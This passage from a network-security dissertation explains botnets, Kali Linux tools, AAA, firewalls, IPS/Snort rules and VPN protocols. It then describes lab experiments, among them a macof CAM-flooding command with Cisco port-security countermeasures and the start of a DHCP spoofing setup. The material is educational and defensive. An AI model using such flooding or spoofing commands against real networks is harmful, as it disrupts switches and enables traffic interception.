As centralised botnets have a single point of failure, which is disadvantageous, bot masters started to use botnets with a P2P architecture (figure 2.12(b)), by deploying malicious traffic on P2P networks. In this architecture, there is no C&C server, since each bot can act simultaneous as a host which receives commands or as a server that sends commands. This architecture is much more complex than the centralised one and it is harder to take down because there is not a single point of failure, which happens...
in centralised botnets.

2.1.3.B C&C Implementations

Regarding C&C implementations, botnets portray different approaches such as Telnet/Secure Shell (SSH), Internet Relay Chat (IRC), P2P and Domains.

In Telnet/SSH botnets [8], bots are added to the botnet when the bot master obtains the Telnet/SSH credentials of the victims. These credentials can be obtained in servers with default credentials, which facilitates the access to the victims. From that point, the bot master can send commands to the C&C server, that will forward them to the bots and perform the intended attacks.

In IRC botnets [9], the bot master assumes the control of an IRC server and channels, which becomes the C&C server of the botnet. The hosts become infected when they connect themselves to the controlled IRC server, through a port and a channel password (optional). While the bots are waiting for orders, the bot master sends commands to the IRC server (C&C), which subsequently sends them to the bots through channels. Finally the bots execute the received commands. This botnet implementation can be detected during the infection process, since irregular behaviors occur, such as a large number of connections, from different IP addresses arriving at the port 6667, which is the port used by IRC.

P2P botnets [10] have emerged as a way to difficult researchers work, since there is no central point to shutdown the botnet. Some of them use encryption methods as a way to block the access to the botnets, which only allows the bot master to access them.

Domain botnets [11], [12] are widely used in the Internet and operate through a web page or domains that contains the list of commands that each bot must execute. The big advantage in this implementation is the simplicity, since the code to create these web pages or domains is easy to write. On the other hand, domains can be easily shutdown by country governments or other institutions.

2.1.4 Kali Linux

So far, we have already covered multiple defensive mechanisms regarding cybersecurity. To properly test the security in different equipment, we must have a system and suitable tools to deploy various attacks. Kali Linux is an open-source, Debian-based Linux distribution. It contains hundreds of tools capable of multiple tasks such as:

- sniffing and spoofing;
- information gathering;
- vulnerability analysis;
- wireless attacks;
- password attacks;
- test the security of web applications;
- exploitation tools;
- stress testing used to perform DoS attacks to test different applications;
- maintaining access used to maintain connection with hacked machines;
- reverse engineering used on binary code when the source code is not available. Frequently used to crack commercial softwares;
- hardware hacking;
- reporting tools.

2.1.4. A Example of available tools

We can observe that Kali Linux is powerful and complete by the vast number of tools, that can accomplish so many different tasks, regarding cybersecurity. It is worth to mention and describe some of this tools.

The first one to approach is the Nmap tool [13]. Nmap is a free utility used for network discovery and security auditing. It uses IP packets to gather information like:

- hosts available on a network;
- running operating systems;
- type of security mechanisms configured, for example, a firewall;
- open ports.

Nmap was designed to fastly scan large networks, but it also works well scanning single hosts. Besides the command-line executable Nmap, this tool also includes:

- **Nping** - network packet generation tool;
- **Ndif** - used to compare the results of Nmap scans;
- **Ncat** - used to access to multiple connections and redirect sockets.

The second tool example to view is Metasploit [14]. Metasploit is a penetration testing platform that allows us to find, exploit and validate vulnerabilities. This framework is offered in two versions, an open-source version, and a paid version, with additional features. Metasploit package includes the following options:
• **msfconsole** - primary interface of Metasploit;

• **msfd** - instance of msfconsole that remote clients can connect to;

• **msfdb** - works as a Metasploit database manager;

• **msfrpc** - connects to a remote instance of Metasploit;

• **msfrpcd** - provides a remote instance to Metasploit;

• **msfvenom** - payload generator.

To perform penetration tests in a remote instance, with the Metasploit console we can use the exploits available with a certain payload. It is possible to use one of three types of payloads in Metasploit:

• **singles** - self-contained payload. An example of this kind of payload can be adding a user to the remote instance;

• **stagers** - setup a connection between an attacker and a victim;

• **stages** - payload components downloaded by stagers modules;

2.2 Network protection

2.2.1 AAA

AAA is a network security system that permits setting up access control on a network device and tracking user activities. Authentication refers to a single identifying information for each user registered in a system. Typically a user is identified by a pair of credentials, a username and a password, by a challenge, by token cards and other methods. Authentication is considered successful when a user can prove that he is who he says he is. Authorization comes right after authentication, after a user is authenticated, the system must specify which resources the user can access and which operations can he accomplish. Finally, accounting is responsible for keeping track of what the user does, including some information about what is viewed by the user, the amount of time spent viewing, and the changes made.

There are two different AAA implementations: Local AAA and Server-based AAA. Local AAA implementations are satisfactory in small networks. However, these solutions don’t scale well. In bigger networks, for example in a big company, where there are multiple hosts and hundreds or thousands of users needing access to the corporate LAN, it is simply not practicable to maintain a local database with all the permissions in each device of the network. That is why Server-based AAA implementations appeared. They can be used to manage the user and administrative access needs for an entire network in a server. Subsequently, all the devices in the network can refer to this central server. For redundancy
purposes, multiple servers can be implemented. To communicate with AAA servers two protocols may be used: Terminal Access Controller Access Control System (TACACS)+ and Remote Access Dial In User Service (RADIUS). Each one of them has different strengths and functionalities. The selection between one or another will entirely depend on the needs of the network and requires a careful comparison process. The main aspects of TACACS+ are:

- Separates authentication and authorization;
- Encrypts all the communications;
- Uses TCP;
- It is not an open standard protocol;

To better understand the functioning of TACACS+ we present an example of the messages that can be exchanged between a client host and a TACACS+ server (figure 2.13). The main aspects of RADIUS are:

- Aggregates authentication and authorization as one;
- Encrypts only the password;
- Uses User Datagram Protocol (UDP);
- It is an open standard protocol;

To better understand the functioning of RADIUS we present an example of the messages that can be exchanged between a client host and a RADIUS server (figure 2.14). Both protocols can be used in the communication between a host and an AAA server. TACACS+ is considered the more reliable and secure protocol because it uses TCP and encrypts all the traffic exchanges, while RADIUS uses UDP and only encrypts the user's password, which implies leaving user names and other information carried in the message in plain text. On the other hand, RADIUS can be used in any kind of equipment, due to be open standard, while TACACS+ can only be used in Cisco devices. In the section 3.2.1 we perform the experiment where we address this topic.

Another authentication mechanism to mention is the IEEE 802.1X standard, that defines a port-based access control and authentication protocol. This allows us to restrict unauthorized devices from connecting to a LAN through accessible switch ports. This authentication protocol considers three different devices, each one with a specific role to play:

- **Supplicant** (Client): Requests access to the LAN;
- **Authenticator** (Switch): Controls access to the LAN based on the authentication status of the supplicant, working as an intermediary between the supplicant and the authentication server. The
Figure 2.13: Messages exchanged between a client and TACACS+ server

authenticator requests information from the client and verifies that information with the authentication server;

- **Authentication** server (RADIUS): It is responsible for the authentication of the supplicant.

The authentication process (figure 2.15) is made using Extensible Authentication Protocol (EAP) [15] data, which is encapsulated using Encapsulation Security Protocol Over LAN (EAPOL) between the supplicant and the authenticator. Between the authenticator and the authentication server, EAP data is
encapsulated using RADIUS. EAP is an authentication framework for wireless networks which supports multiple authentication methods. To determine if the supplicant access is granted or not, we use the switch port state. The port starts in the unauthorized state, where any traffic from supplicant isn’t allowed. When the supplicant is successfully authenticated, the port changes to the transition state, allowing all traffic for the supplicant to flow normally.
2.2.2 Firewalls

Firewalls permit to separate protected areas from non-protected areas, preventing unauthorized users from accessing network resources that they are not allowed to access. Firewalls provide protection by using Access Control List (ACL)s, that can be standard, extended, numbered and named. Another technology used for network security is provided by stateful firewalls that use tables to track the real-time state of the created sessions (e.g. TCP or UDP sessions). Stateful firewalls consider the session-oriented nature of network traffic. Nowadays the number of existing types of firewalls is wide, such as stateful, packet filtering, application gateway, proxy, address translation, host-based, transparent, and finally, hybrid firewalls. A proper network design must contain one or more firewalls correctly placed to protect resources, that unauthorized users should not have access, while available resources must be securely accessed by authorized users. In the section 3.2.2 we perform the experiments where we address this topic.

2.2.2.A ACLs

ACLs are used in cybersecurity for mitigating network attacks and controlling network traffic. Network administrators use ACLs to define and control traffic on networking equipment, to fulfill a list of security policies. An ACL is a sequential list of permit or deny statements, known as Access Control Entry (ACE)s. ACEs can be created to filter traffic using certain requirements like source/destination address, protocol, and port numbers. There are two main types of ACLs:

- Standard ACLs;
- Extended ACLs.

Standard ACLs match packets by examining the source IP address field in the IP header of the packet. These ACLs are used to filter packets based only on Layer 3 (Network Layer) information. Extended ACLs match packets based on Layer 3 (Network Layer) and Layer 4 (Transport Layer) information. Layer 4 allows the inclusion of TCP and UDP port information, giving greater flexibility and control over network access compared to standard ACLs.

After describing the different types of ACLs, it is important to mention how can ACLs be used to mitigate potential network attacks. When configuring an ACL, a network device should only permit the source address owned by inbound packets coming from a network where the traffic is expected, denying all the other possible addresses. In addition to this there are certain types of traffic that have to come through a firewall. A good strategy is to explicitly permit this kind of traffic like DNS, Simple Mail Transfer Protocol (SMTP), and File Transfer Protocol (FTP). It is also regular to configure a firewall so that it allows administrators remote access. A protocol like SSH will accomplish the effect. Although these services are useful, their exploitation leads to security vulnerabilities. That is the reason why
firewalls are supplemented by other security mechanisms. In addition to control which IP addresses and protocols can pass through a firewall we also need to be aware to other type of attacks, such as DoS attacks like Internet Control Message Protocol (ICMP) flood or TCP SYN flood.

2.2.2.B Packet Filtering Firewall

Packet filtering firewalls are stateless firewalls, which permit or deny traffic based on Layer 3 and Layer 4 information, that use a simple policy table look-up that filters traffic based on specific requirements. There are some advantages of using a packet filtering firewall such as:

- simplicity on permit or deny rule sets;
- low impact on network performance;
- supported by most of the routers available in the market.

Despite being an important element of a firewall security policy, packet filtering firewalls have some drawbacks such as:

- vulnerability to IP spoofing;
- flaws in filtering fragmented packets since IP packets carry the TCP header in the first fragment and packet filters filter through TCP header information;
- impossibility of filtering dynamically some devices which makes difficult to filter dynamic port negotiations without opening access to a whole range of ports
- being stateless, which causes the packet examination individually instead of the state of a connection

Packet filtering firewalls end up to behave as ACLs, since they only deny or allow flowing traffic.

2.2.2.C Stateful Firewalls

Stateful firewalls are the most used firewall technologies. They supply stateful packet filtering by using connection information from the received packets, that is stored in a state table. Stateful filtering is a firewall architecture that analyses traffic from Layer 3, Layer 4 and Layer 5. While a stateless firewall uses static packet filtering, stateful filtering analyses each connection traversing all the interfaces of the firewall and confirms that they are valid. Each time a TCP connection is set, through the TCP three way handshake (SYN, SYN-ACK, ACK), a stateful firewall logs the information of that connection in a state table while the connection exists. If the TCP connection ends due to a timeout or through the TCP two way exchange (FIN, ACK), the state is no longer maintained in a state table.

The advantages of using stateful firewalls are the following:
• Improved performance compared to packet filtering firewalls, since it maintains state about the packets;

• Can prevent spoofing and DoS attacks by denying unauthorized sources and by packets connection information;

• Ultimately, stateful firewalls provide more log information than a packet filtering firewall.

Stateful firewalls have some limitations such as:

• Inability to prevent attacks from Application Layer (Layer-7), since the contents of the HTTP connection are not examined;

• Difficulty in tracking connections that use dynamic port negotiation, due to the amount of connections established;

2.2.2.D Firewalls: design and configuration

When it comes to design the security of a network, we have to find the best way to introduce the firewall. In the scope of firewalls, it makes sense to establish the concept of zones. A zone is defined as a logical area where the network devices in it have the same trust level. Some networks design are as simple as dividing the network in two, with one interface of the firewall connecting to an outside network and the other interface to an inside network, as explained in the figure 2.16. A more sophisticated network design requires the use of an additional zone called Demilitarized Zone (DMZ). This zone typically contains all the servers that connect to the public network. It provides more security to the network since any device in the public network can only access what is exposed in the DMZ, while the private network is kept safe, as observed in the figure 2.17. After the description of these designs it is worth to mention the concept of zone-based firewall, that is an advanced method of stateful firewall that uses the concept of zones to
provide additional flexibility. By default, packets between interfaces in the same zone are not under any restriction and are permitted. On the other hand, all the traffic traveling between two different zones is blocked. For this kind of traffic to be permitted a policy allowing or inspection must be configured. An exception to this deny policy is the self-zone. The self-zone is the router itself, which includes all the router interfaces. By default, there is no policy for the traffic going through this router. It is only needed to design a policy for the self-zone when traffic includes protocols as SSH, Simple Network Management Protocol (SNMP) and routing protocols, which if not inspected, can put the network in danger. The benefits of using zone-based firewalls are the following:

- Not dependent on ACLs;
- The router security conduct is to block unless explicitly allowed.

2.2.2.E High-availability

As we could understand throughout this section, Firewalls are a very important security mechanism used on networks, since they allow the implementation of security policies that control the traffic that enters and exits a network. Since they are so important, in case of failure, we can face serious security issues in our network. In order to prevent this, high-availability is used, where the networks are assembled with more than one Firewall, that will act as a backup and will assume the role of the main firewall, if a fault
occurs. In the section 3.2.3 we perform the experiments where we address this topic.

2.2.3 IDS and IPS

None of the technologies addressed before are capable to defend a network against Internet worms and viruses. A network must be able to recognize and mitigate worms and virus threats. IDSs are used only to detect attacks on the network and IPSs are used to stop attacks on the network. Intrusion detection is required throughout the entire network to detect these kind of threats and other types as well, for instance, DoS and DDoS attacks. IDS solutions are placed at the entry and exit points of the network.

One of the approaches to prevent worms and viruses from crossing a network is for a network administrator to continuously monitor the network by analyzing log files generated in hosts. This solution is not doable in big networks since manual analysis of log files is a long task.

To improve this method, IDSs were created to monitor the traffic on a network by analyzing a copy of the traffic stream, comparing it to known malicious signatures. This operation is comparable to software that checks for viruses. IDSs operate offline, which means that they act passively. Despite the traffic being monitored and reported, there are no actions taken on malicious packets. But there is an advantage of using IDS. Since IDSs operate with a copy of the traffic, the packet flows are not negatively affected.

The best solution to this problem is IPS. IPSs are devices that can immediately detect and stop an attack, monitoring traffic of Layer 3 and Layer 4. They analyze packet payloads looking for embedded attacks, which enables them to identify and stop the attacks. This technology use signatures to detect patterns in traffic. A signature is a set of rules defined to detect malicious activity or to gather information. IPSs differ from IDSs since they take immediate action to a malicious packet, while IDSs have a passive behavior. The disadvantage of IPS is that if it is badly configured, it can negatively affect the network, since it drops packets that are not supposed to be dropped.

2.2.3.A Host-based IPS vs Network-based IPS

There are two types of IPSs, host-based and network-based. Host-based IPS is a software installed on a single host to monitor suspicious activity. This way it can monitor that particular host and prevent it from executing commands that don’t match its normal behavior. This unusual behavior can include unauthorized registry updates, changes to the system directory, programs installation, and activities that cause buffer overflows. A drawback of host-based IPS is that it functions only at a local level. To be effective in a network, host-based IPS must be installed on every host, which does not scale very well. A network-based IPS consists in IPS sensors deployed at designated network points that enable security managers to monitor network activity while it is occurring regardless of the location of the attack target. Network-based IPS gives a real-time security insight into a network regardless of network size. Additional hosts can be appended to protect the network without needing more sensors,
unless when their capacity to analyze traffic is exceeded or when their performance is not satisfying. This monitoring system has the advantage of easily detecting attacks that are occurring across the entire network. Network-based IPSs have some drawbacks as well, such as being easily blinded if the traffic is encrypted and becoming expensive as networks become larger because it is harder to deploy a single network IPS in the network that successfully captures all the traffic, so it might be needed to add some more sensors.

2.2.3.B Signatures

To stop malicious traffic it is necessary to identify it first. Malicious traffic displays distinct properties which we name signatures. A signature is a set of rules that an IPS uses to detect typical intrusion activity. These signatures identify specific worms, viruses, anomalies in protocols or any other kind of malicious traffic. Then they respond to the known attacks with predefined actions, such as logging the occurred event or sending an alarm to the IPS. Signatures contain 3 distinctive attributes:

- type;
- trigger (alarm);
- action.

Signatures type can be distinguished as atomic or composite.

The atomic signature consists of a single packet that is analyzed to determine if it matches an existent signature. If that happens, an alarm is triggered, and a signature action is executed. This type of signature is based in a single event so there is no need to store any state information in the IPS. State information is only relevant in cases where information about various packets is required. Atomic signatures are very low consumers in terms of memory since they only refer to one event.

The composite signature also called stateful signature is the type of signature that identifies a sequence of events distributed across various hosts for a period of time. In contrast to atomic signatures, composite signatures require examination of multiple packets so there is a need to maintain state information in the IPS. The amount of time that this information must be maintained is known as the event horizon. Defining this event horizon is complicated because it is a trade-off between consuming memory resources and being able to detect an attack. The core of an IPS signature is the signature trigger. The signature trigger for an IPS sensor could be anything that can reliably signal an intrusion. For example, a host-based IPS can trigger a signature action when a specific function call is invoked, or a network-based IPS can trigger an action if it detects a packet with a payload containing a specific string. Signature's triggers originate one or more actions taken by IPSs. The possible actions are the following:
• Generate an alert;
• Log the event;
• Drop the event;
• Reset the TCP connection;
• Block future event;
• Allow the event.

These actions are performed according to the rules established, seeking the best for the network regarding its security.

2.2.3.C Example of an available system: snort

To get an idea on how this kind of systems are available for us to use and apply the best possible security practices, it is vital to mention a system like snort [16]. Snort is an open source IPS, that can perform traffic analysis in real time and packet logging on IP networks. It can be used, for example, to detect a variety of attacks such as buffer overflows, stealth port scans and fingerprinting attempts to the Operating System (OS). Snort analyses traffic by comparing it with a list of defined rules. A rule is composed by a rule header and rule options. The header of a rule contains the following fields:

• action to take when the set condition is encountered;
• protocol;
• source IP;
• source port;
• traffic direction;
• destination IP;
• destination port.

Some of the rule options are:

• message to include with the action;
• snort rule ID;
• revision number, which eases the rule maintenance;
• **classtype**, which categorizes a rule. Snort already has some predefined categories, e.g., an icmp-event.

To better understand how a snort rule is configured, we give an example of a snort rule that detects an attack like TCP port scan.

```snort
alert tcp any any -> $HOME_NET 23 (msg: 'TCP Port Scanning'; sid:1000006; rev:1;)
```

Since this IPS is open source, any user of snort who finds a vulnerability or develops a rule, can share it with all the snort community, which is a very positive contribution for the cybersecurity world. In the section 3.2.4 we perform the experiment where we address this topic.

### 2.2.4 VPNs

VPNs are used to create an end-to-end private network connection over third-party networks. They use tunnels to enable remote users to access network resources as if their devices were directly connected to the private network itself. The first VPNs to appear were strictly IP tunnels that did not contemplate authentication or encryption of the data. That is why some modern cryptographic methods are applied to VPNs to establish a secure end-to-end private connections with encrypted data. There are two basic types of VPNs:

- Remote-access: Created when VPN information is not initially set up, and allows dynamic exchanging connection information;

- Site-to-site: Created when devices on both sides are aware of the VPN configuration. The VPN remains static, and internal hosts do not know that the VPN exists.

Remote-access VPNs end up to be very useful for mobile users and telecommuters since they only need Internet access to communicate with a central point. Most of the time, for telecommuters, Internet connectivity is a broadband connection. The telecommuter’s PC is instructed to establish the VPN connection with the IP address at the time the connection is attempted since it is constantly changing due to the telecommuter’s location variation.

In a Site-to-site-VPN, hosts exchange TCP/IP traffic through a VPN gateway which can be a simple router or a firewall. This gateway is in charge of encapsulating and encrypting outbound traffic from a site and sending it through a VPN tunnel over the Internet to a peer VPN gateway located at the other site. When the other VPN gateway receives the traffic, it strips the headers, decrypts the content, and directions the packet to the target host in the private network. The VPN topologies have not stopped evolving and feature more complex solutions such as Dynamic Multipoint VPN (DMVPN) [17] and Group
Encrypted Transport VPN (GETVPN) [18]. In the section 3.2.5 we perform the experiments where we address this topic.

A DMVPN permits a configuration of site-to-site Internet Protocol Security (IPSec) VPNs. This solution uses a centralized architecture, by building a hub-and-spoke network. A hub-and-spoke network connects every node in a network (spoke) to a single intermediary node (hub) (figure 2.18). This type of network structure provides flexibility within the transport system reducing the number of connections. DMVPN scales well, because there is no need to change the configuration of the hub to accept new spokes.

![Figure 2.18: Example: Hub-and-spoke network](image)

DMVPN can be implemented in three different phases, namely phase 1, phase 2 and phase 3. These three different phases correspond to the three different versions of DMVPN. The DMVPN phase 1 (figure 2.19) solves the problem of scalability by using multi-point Generic Routing Encapsulation (GRE) tunnels instead of point-to-point tunnels. The spoke routers need to be registered in the hub router. This registration is possible through Next Hop Resolution Protocol (NHRP), which uses a client/server model. The hub will be the Next Hop Server (NHS) and the spokes will be the Next Hop Client (NHC)s. Whenever a spoke becomes online, a NHRP registration message is send to the hub. The hub (NHS) keeps these record in a database (NHRP cache) with all the spokes (NHC), mapping the spokes Non-broadcast Multiple Access (NBMA) IP addresses and the tunnel interfaces IP addresses. Despite this, the spoke routers do not have any information about the other spokes, since they are only configured with information about the hub. When a spoke needs to communicate with another spoke, it sends a NHRP resolution request to the NHS. The NHS responds with a NHRP resolution reply that contains the mapping between the spoke NBMA IP address and the tunnel interface IP address, which allows the traffic to be sent to its correct destination, always travelling through the hub router. Despite being useful, by solving the problem of scalability in point-to-point GRE tunnels, DMVPN phase 1 has a serious limitation, since it is not possible for spoke routers to communicate between them without the traffic flowing through the hub. This can cause problems such as traffic congestion or an inefficient use of network resources, since all the traffic has to be routed through the hub.
To overcome this limitation of phase 1, DMVPN phase 2 (figure 2.20) introduces the multi-point GRE tunnels on spoke routers. From this point, if a spoke wants to communicate with another spoke, it sends a NHRP resolution request to the hub, which forwards it to the destination spoke router. The destination spoke router caches the information (NBMA IP address) in the request and sends a NHRP resolution response to the source spoke. Now the communication between spokes is possible.

![Figure 2.19: Example: DMVPN phase 1](image1)

Although improving the DMVPN phase 1, phase 2 presents a limitation regarding the size of routing tables, since in larger networks the spoke routers would have to store the information of the other spokes in their routing tables. Phase 3 (figure 2.21) comes to improve in that matter, since introduces an efficient route summarization at the hub router. This changes the operation of NHRP, since it no longer starts with a NHRP resolution request, sending traffic to the hub instead. When the traffic arrives to the hub, the NHRP cache will be accessed to get the optimal path. After that the hub will send a NHRP redirect message to the source spoke. When the spoke gets the redirect, it will send a NHRP resolution request to the destination spoke, which will flow through the hub first. The destination spoke will send a NHRP resolution response to the source spoke containing the subnet prefix. The source spoke adds this subnet to its routing table, adding the destination spoke as the next hop. This is called NHRP shortcut, since the source spoke obtains the best route to the destination spoke.

GETVPN uses a trusted group, so there is no need of having point-to-point tunnels and their associated overlay routing. This solution retains the original IP header of a packet and encrypts the data.
payload. GETVPN uses Group Domain of Interpretation (GDOI) [19], a protocol that combined with IPSec standards encryption provides an effective mechanism of security. GDOI authenticates each Group Member (GM) in the trusted group, sending, from a Key Server (KS), the keys required to encrypt and decrypt the shared traffic (figure 2.22).

The key server maintains the security policies, authenticating each GM at the time of registration, providing keys. These keys used are periodically refreshed on all routers through a process called rekey. GDOI presents two distinct types of encryption keys Key Encryption Key (KEK), which is used the rekey messages exchanged between the key server and the GM, and the Traffic Encryption Key (TEK) which encrypts the data and will be part of IPSec Security Association (SA).

GETVPN is divided in two phases, phase 1 and phase 2. In phase 1, the GMs will create a secure channel with KS, where the authentication occurs, using Internet Security Association and Key Management Protocol (ISAKMP) policy settings. Phase 1 is necessary for securing the phase 2. In phase 2, the KS will distribute the encryption settings to the GMs and will also provide the necessary keys KEK and TEK.

2.2.4.A IPSec

To define how a VPN can be secured across networks we can use IPSec. IPSec [20] is an Internet Engineering Task Force (IETF) standard suite of protocols that provides data authentication, integrity,
and confidentiality between two points across a network. IPSec can do so through a framework. This framework allows protection from Layer 4 through Layer 7. Specifically, the IPSec framework provides a set of security functions:

- Confidentiality using encryption;
- Integrity using hashing algorithms;
- Authentication using Internet Key Exchange (IKE);
- Secure key exchange using the Diffie-Hellman algorithm.

There are no specific rules established for IPSec to secure communications. This flexibility allows us to easily extend the framework to any new security technologies without updating the existing standards. To implement the IPSec protocol, we need to configure a SA (figure 2.23), which is the basic building block of IPSec. To establish a VPN tunnel, the two endpoints must share the same SA, to negotiate the encryption parameters, establish a shared key, authenticate each other and negotiate key exchange parameters.

![IPSec Framework](image)

**Figure 2.23: IPSec Framework**

Confidentiality is attainable by encrypting data (figure 2.24). The level of security depends on the length of the used key in the encryption algorithm. In the presence of a brute-force attack, the number of possibilities to try is directly related to the key’s length. To get a sense on that, a 64-bit key can take roughly a year to be a broken, while a 128-bit key can take $10^{19}$ years to be decrypted.
Integrity assures that the data is received exactly how it was sent (figure 2.25). That is important to assure since VPN data is transported over the Internet, which makes data vulnerable to interception and modification by an attacker. There is an algorithm called Hashed Message Authentication Code (HMAC), that guarantees the integrity of data using a hash.

Authentication is also necessary, therefore the endpoints of a VPN tunnel must be authenticated to make it secure. There are two types of authentication used by IPSec, Pre-Shared Key (PSK) [21], and Rivest-Shamir-Adleman (RSA) [22]. In PSK (figure 2.26), the least secure authentication method, the local device sends the authentication key and the identity information through a hash algorithm to form the hash for the local peer. Then the created hash is sent to the remote device, establishing one-way authentication. If the remote device can create the same hash, the local device is successfully authenticated. After that, the process unfolds the same way in the opposite direction. In RSA authentication (figure 2.27), the most secure solution, the local device forms the hash the same way that in PSK, but in addition to that, it encrypts the local hash using the local device’s private key, creating a digital signature. This digital signature and a digital certificate with the public key to decrypt the signature, are sent to the
remote device. The remote device verifies the digital signature by decrypting it with the public key, obtaining the local hash. Next, the remote device creates a hash from stored information. If the calculated hash equals the decrypted hash, the local device is successfully authenticated. After that, the process unfolds the same way in the opposite direction.

Encryption algorithms require a symmetric shared secret key to encrypt and decrypt. The easiest way to exchange this key is to use a method as Diffie-Hellman. Diffie-Hellman is a public key exchange method that provides a way for two peers to share a secret key. Diffie-Hellman groups vary in terms of the number of bits. They must have enough bits to protect the IPSec keys during negotiation.

After covering all the available functions of IPSec, the first building block of the framework needs to
be approached. The first block includes the choice between the two IPSec protocols, Authentication Header (AH) and Encapsulation Security Protocol (ESP). This choice determines which other options are available in the IPSec functions. AH is applied to an entire packet, except for any IP header fields that normally change in transit; these are called mutable fields, like Time to Live (TTL), for example. The AH process occurs in the following order:

1. The IP header and the data payload are hashed with the shared secret key;
2. The hash builds a new AH header, which is inserted into the original packet;
3. The modified packet is transmitted to its destination;
4. The destination host hashes the IP header and the data payload using the shared secret key, extracts the transmitted hash from the AH header, and compares the two hashes;

The hashes must match. If they don’t match, the hash output on the received packet changes. ESP provides confidentiality in addition to AH, by encrypting the data payload using as a default algorithm the Data Encryption Standard (DES).

ESP can also provide integrity, authentication and secure key exchange just like AH.

2.2.4.B IKE

Along with IPSec, IKE is used because it negotiates IPSec SA and enables IPSec secure communications (figure 2.28). IKE is a key management protocol standard and it makes IPSec’s configuration simpler and scalable. This protocol implements key exchange protocols inside the ISAKMP [23] framework. ISAKMP is a protocol that defines the message format, the mechanics of a key exchange protocol, and the negotiation process to build an SA for IPSec. ISAKMP is used for phase 1 and phase 2 of the key negotiation.

Phase 1 negotiates a key between two peers. The main goal of this phase is to negotiate an ISAKMP policy, authenticate the peers and set up a secure tunnel between them.

In phase 2, there are established keys destined to other applications, such as IPSec. This phase main goal is to negotiate the IPSec security parameters used to secure the IPSec tunnel. In this phase, the keys used are unidirectional, therefore, a different key exchange is required for each data flow.

There is an improvement done to IKE, called IKEv2, that supports Network Address Translation (NAT) detection during phase 1, supports more encryption algorithms and offers better reliability through improved sequence numbers and acknowledgements.
Phase 1 - Negotiate ISAKMP policy to create a tunnel

Phase 2 - Negotiate IPSec policy for sending secure traffic across the tunnel

---

Figure 2.28: IKE: key negotiation
## Contents

3.1 Network attacks ......................................................... 43
  3.1.1 CAM Overflow ................................................. 43
  3.1.2 DHCP spoofing .................................................. 45
  3.1.3 DHCP starvation ................................................ 49
  3.1.4 ARP poisoning/spoofing ....................................... 52
  3.1.5 STP manipulation ............................................... 54
  3.1.6 DTP attack ...................................................... 57
  3.1.7 Double tagging attack ........................................ 59
  3.1.8 PVLAN proxy attack ........................................... 62
  3.1.9 MAC address spoofing ........................................ 64
  3.1.10 DNS spoofing attack .......................................... 66
  3.1.11 DNS Kaminsky attack ....................................... 70
  3.1.12 DNS tunneling attack ....................................... 72
3.1.13 Botnets ......................................................... 75

3.1.14 Layer-2 attacks tool ........................................... 77

3.2 Network protection ................................................ 84

3.2.1 AAA ............................................................. 84

3.2.2 Firewalls ......................................................... 90

3.2.3 High availability - ASA firewall ............................. 105

3.2.4 Snort ............................................................. 112

3.2.5 VPNs ............................................................. 115
This chapter describes the experiments performed in this dissertation, based on the security mechanisms addressed in the previous chapter. Regarding network attacks, each experiment performed contains a description of the executed attack and how the concerned vulnerabilities were exploited, and if there is the possibility, the countermeasures deployed in order to mitigate these attacks. For network protection, each experiment contains a description of the deployed security infrastructures and where it is possible, the attacks that prove the effectiveness of these mechanisms.

3.1 Network attacks

3.1.1 CAM Overflow

3.1.1.A Description

To perform a CAM overflow attack we use the GNS3 [24] network tool, where we set up (i) a Docker [25] container with Kali Linux, (ii) a Cisco [26] switch and (iii) two PCs, responsible to test the switch functioning before and during the attack. The network topology is portrayed in the figure 3.1. Before performing the attack, we can see that the switch is working properly since it only forwards the packets through one of the ports corresponding to the correct destination, as showed in the figure 3.2. To launch

![Figure 3.1: Topology used in the CAM Overflow attack](image)

![Figure 3.2: Ping from the attacker to PC1 before the attack, showing that the switch is properly working](image)
the attack, in the Kali Linux, we use a tool called macof [27], which is a tool that can generate random MAC addresses and flood them onto a network. The command to perform the attack is the following one:

```
macof -i eth0 -n 1000000000
```

where the -i parameter stands for the interface that sends the MAC addresses and the -n parameter represents the number of MAC addresses generated.

During the attack, when we check the CAM table, it is possible to see, in figure 3.3 that it contains a lot more MAC addresses than it is supposed to.

![Figure 3.3: CAM table filled after the attack](image)

Since the CAM table is filled, the switch begins to forward all the received packets through all the ports, operating as a hub, as we can see in figure 3.4. We realise that the attack is successful.

![Figure 3.4: Switch forwards the packet destined to PC2 through the port corresponding to PC1](image)

3.1.1.B Countermeasures

To protect a switch against CAM overflow attacks, Cisco allows the configuration of port security [28], enabling to control how the switch port handles the learning and storing of the received MAC addresses per interface. The main thing possible to configure is to set a limit to the maximum number of concurrent MAC addresses that can be assigned to a switch port. If a device connected to the switch starts sending multiple MAC addresses attempting to perform a CAM overflow attack, the action performed by port security can be the immediate interface shutdown (default action), as in figure 3.5, or the switch can just discard any future Layer 2 frame acquired in that port, as in figure 3.6. The configuration of the switch to prevent CAM overflows by shutting an interface down, is enabled by performing the following commands:
conf t
interface e0/0
switchport mode access
switchport port-security
switchport port-security maximum 1
switchport port-security violation shutdown
switchport port-security mac-address sticky
end
wr

where the port security is enabled (line 4), with a maximum of 1 MAC address allowed in each switch port (line 5), the violation policy is the shutdown one (line 6) and the MAC address in each port is memorized (line 7). The configuration of the switch to prevent CAM overflows by discard future packets in a specific port, is enabled by performing the same configuration displayed above, replacing line 6 for the following command:

switchport port-security violation restrict

where the chosen violation policy is the restrict one.

*Dec 15 21:31:53.466: %PORT-Security-2-PSecureViolation: Security violation occurred, caused by MAC address 2e5b.efd2.be37 on port Ethernet0/0.
*Dec 15 21:31:54.467: %LINEPROTO-5-UPDOWN: Line protocol on Interface Ethernet0/0, changed state to down

Figure 3.5: Port-security violation: Shutdown the interface

Figure 3.6: Port-security violation: Discard any feature packets and log the security violations

3.1.2 DHCP spoofing

3.1.2.A Description

To perform a DHCP spoofing attack we used the GNS3 network tool, where we set up (i) a Docker [25] container with Kali Linux, acting as the fake DHCP Server, (ii) two Cisco switches, (iii) a Cisco router acting as the real DHCP Server, and (iv) a PC playing the victim part. The network topology is portrayed in the figure 3.7. Before performing the attack, we must configure the real DHCP server, with the following commands:
Figure 3.7: Topology used in the DHCP Spoofing attack

conf t
int f0/0
ip add 192.168.1.254 255.255.255.0
no shut
exit
ip dhcp pool 1
network 192.168.1.0 /24
dns-server 8.8.8.8
default-router 192.168.1.254
end
wr

